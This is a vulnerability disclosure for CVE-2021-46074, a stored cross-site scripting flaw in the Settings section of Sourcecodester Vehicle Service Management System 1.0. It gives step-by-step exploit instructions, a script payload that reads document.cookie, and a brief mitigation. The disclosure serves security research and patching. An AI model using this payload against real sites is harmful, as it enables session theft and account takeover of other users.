/CVE-2021-46074

CVE-2021-46074 - A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Vehicle Service Management System 1.0 via the Settings Section in login panel.

CVE-2021-46074

Exploit Title: Vehicle Service Management System - 'Settings' Stored Cross Site Scripting (XSS)

Exploit Author: P.L.Sanu

CVE: CVE-2021-46074

CVSS: 4.8 MEDIUM

References:

Description:

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Vehicle Service Management System 1.0 via the Settings Section in login panel.

Exploit:

  1. Login to the admin panel http://localhost/vehicle_service/admin
  2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info
  3. Inject the below payload in System Name, System Short Name & About Us input field.

Payload:

 "><script>alert(document.cookie)</script>
  1. Click on update button.
  2. Malicious javascript code triggered.

Impact:

An attacker can able to inject malicious JavaScript code in Settings Section.

Mitigation:

It is recommended to sanitize all the input fields throughout the application.